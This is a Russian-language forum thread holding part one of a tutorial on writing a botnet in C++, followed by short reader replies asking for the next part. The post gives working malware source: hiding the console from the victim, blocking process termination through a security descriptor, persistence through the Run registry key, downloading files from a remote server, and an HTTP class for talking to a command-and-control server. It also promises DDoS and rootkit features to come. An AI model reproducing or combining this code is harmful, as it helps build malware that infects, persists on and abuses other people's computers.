Пишем ботнет на C++ / Часть 1

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем foxovsky, 22 май 2017.

Метки:
  1. foxovsky

    foxovsky Member

    Репутация:
    0
    Регистрация:
    31 июл 2016
    Сообщения:
    5
    Симпатии:
    20
    Предисловие
    На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET

    Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.

    Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.

    Создание и организация проекта
    В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.

    Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
    Код (Text):
    #include "stdafx.h"

    int main()
    {
        return 0;
    }
    Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
    Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
    Сразу же создадим заголовочный файл для нашего класса.
    Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h

    Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.

    Давайте распишем наши будущие методы, открываем Utils.h и пишем:
    Код (Text):
    #include <iostream>
    #include <Aclapi.h>

    using namespace std;

    class Utils {
    public:
        void HideConsole();
    };
    Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.

    Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
    Код (Text):
    #include "stdafx.h"
    #include "Utils.h"

    /* Скрываем консоль от пользователя */
    void Utils::HideConsole() {
        HWND Stealth;
        AllocConsole();
        Stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(Stealth, 0);
    }
    Наш первый метод готов!
    Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
    Код (Text):
    #include "stdafx.h"
    #include "Utils.h"

    Utils utils;

    int main()
    {
        utils.HideConsole();
        system("pause");
        return 0;
    }
    Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
    Код (Text):
    #include <iostream>
    #include <Aclapi.h>
    #include "Sddl.h"

    using namespace std;

    class Utils {
    public:
        void HideConsole();
        BOOL DenyAccess();
    };
    Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
    Опишем функцию DenyAccess в Utils.cpp:
    Код (Text):
    /* Изменяем атрибуты процесса */
    BOOL Utils::DenyAccess() {
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
        SECURITY_ATTRIBUTES sa;
        TCHAR * szSD = TEXT("D:P");
        TEXT("(D;OICI;GA;;;BG)");
        TEXT("(D;OICI;GA;;;AN)");
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.bInheritHandle = FALSE;

        if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
            return FALSE;

        if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
            return FALSE;

        return TRUE;
    }
    Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.

    Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
    Код (Text):
    /* Добавление в автозагрузку */
    void Utils::Autoload(string Name, string Path) {
        string command = "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V " + Name + " /t REG_SZ /F /D " + Path;
        system(command.c_str());
    }
    Не забываем добавлять функцию в хедер:
    Код (Text):
    void Autoload(string Name, string Path);
    Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.

    Какой ботнет без возможности загрузки файлов с удаленного сервера?
    Добавим эти функции и ещё пару попутных:
    Utils.cpp
    Код (Text):
    /* Загрузка файла с удаленного сервера */
    void Utils::DownloadFile(wchar_t *url, wchar_t *dir) {
        URLDownloadToFile(0, url, dir, 0, 0);
    }

    /* Создание папки */
    void Utils::CreateDir(wchar_t *dir) {
        CreateDirectory(dir, NULL);
    }

    /* Проверка файла на существование */
    bool Utils::FileExists(const char *fname) {
        return access(fname, 0) != -1;
    }
    Utils.h
    Код (Text):
    #include <iostream>
    #include <Aclapi.h>
    #include "Sddl.h"
    #include <io.h>

    using namespace std;

    class Utils {
    public:
        void HideConsole();
        BOOL DenyAccess();
        void Autoload(string Name, string Path);
        void DownloadFile(wchar_t *url, wchar_t *dir);
        void CreateDir(wchar_t *dir);
        bool FileExists(const char *fname);
    };
    А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
    У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.

    Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
    После ночи мучений, был найден подходящий код.
    Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории: HTTP.cpp
    Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
    Код (Text):
    #include <Windows.h>
    #include <WinHttp.h>
    #include <stdio.h>
    #include <iostream>
    #include <fstream>

    #pragma comment(lib, "winhttp.lib")

    using namespace std;

    class HTTP {
    public:
        string Request(string domain, string url, string dat);
    private:
        std::wstring get_utf16(const std::string &str, int codepage);
    };
    Данный класс служит для отправки HTTP POST запросов, пример использования:
    Код (Text):
    HTTP http;
    string response = http.Request("https://codeby.net", "/page/test.php", "UserName=test&Password=test");

    На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.

    Исходники
    Специально для этой серии статей создал отдельный репозиторий на GitHub(буду рад вашим форкам). Обновлять буду по мере выхода статей.
     
    Catharsis, Lisenok, MerlinKoss и 15 другим нравится это.
  2. Denissa89

    Denissa89 New Member

    Репутация:
    0
    Регистрация:
    19 дек 2016
    Сообщения:
    4
    Симпатии:
    0
    Спасибо за статью! Очень интересно.
     
  3. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    373
    Симпатии:
    600
    Затравка хорошая. Пока сыренько но начало хорошее. Молодец.
     
    MerlinKoss нравится это.
  4. РЫЦАРЬТАЩИТ

    Репутация:
    0
    Регистрация:
    24 май 2017
    Сообщения:
    7
    Симпатии:
    0
    Доумо, завтра потраю
     
  5. id01

    id01 Member

    Репутация:
    0
    Регистрация:
    4 мар 2017
    Сообщения:
    7
    Симпатии:
    0
    Хелоу! Ай вонт ту си зе некст парт. Совсем забыл, да?

    P.s. никто, случайно, не интересуется p2p ботнетами?
     
  6. MerlinKoss

    MerlinKoss Member

    Репутация:
    0
    Регистрация:
    1 июл 2017
    Сообщения:
    5
    Симпатии:
    0
    А будет некст статья?
     
  7. Antonka

    Antonka New Member

    Репутация:
    0
    Регистрация:
    27 июл 2017
    Сообщения:
    1
    Симпатии:
    0
    Жду (скорее всего, ждём) следующую статью
     
  8. id01

    id01 Member

    Репутация:
    0
    Регистрация:
    4 мар 2017
    Сообщения:
    7
    Симпатии:
    0
    Не будет, мне кажется, никакой второй части...
     
  9. 0xXX

    0xXX Member

    Репутация:
    0
    Регистрация:
    19 дек 2016
    Сообщения:
    7
    Симпатии:
    0
    непонятно зачем создавать консоль чтобы потом ее скрывать... загадка.
     
  10. id01

    id01 Member

    Репутация:
    0
    Регистрация:
    4 мар 2017
    Сообщения:
    7
    Симпатии:
    0
    Интересный вопрос, и в правду. А я как-то не придал значения :) Я, например, просто компилирую как GUI-приложение, и ничего скрывать не приходится.
     
Загрузка...

Поделиться этой страницей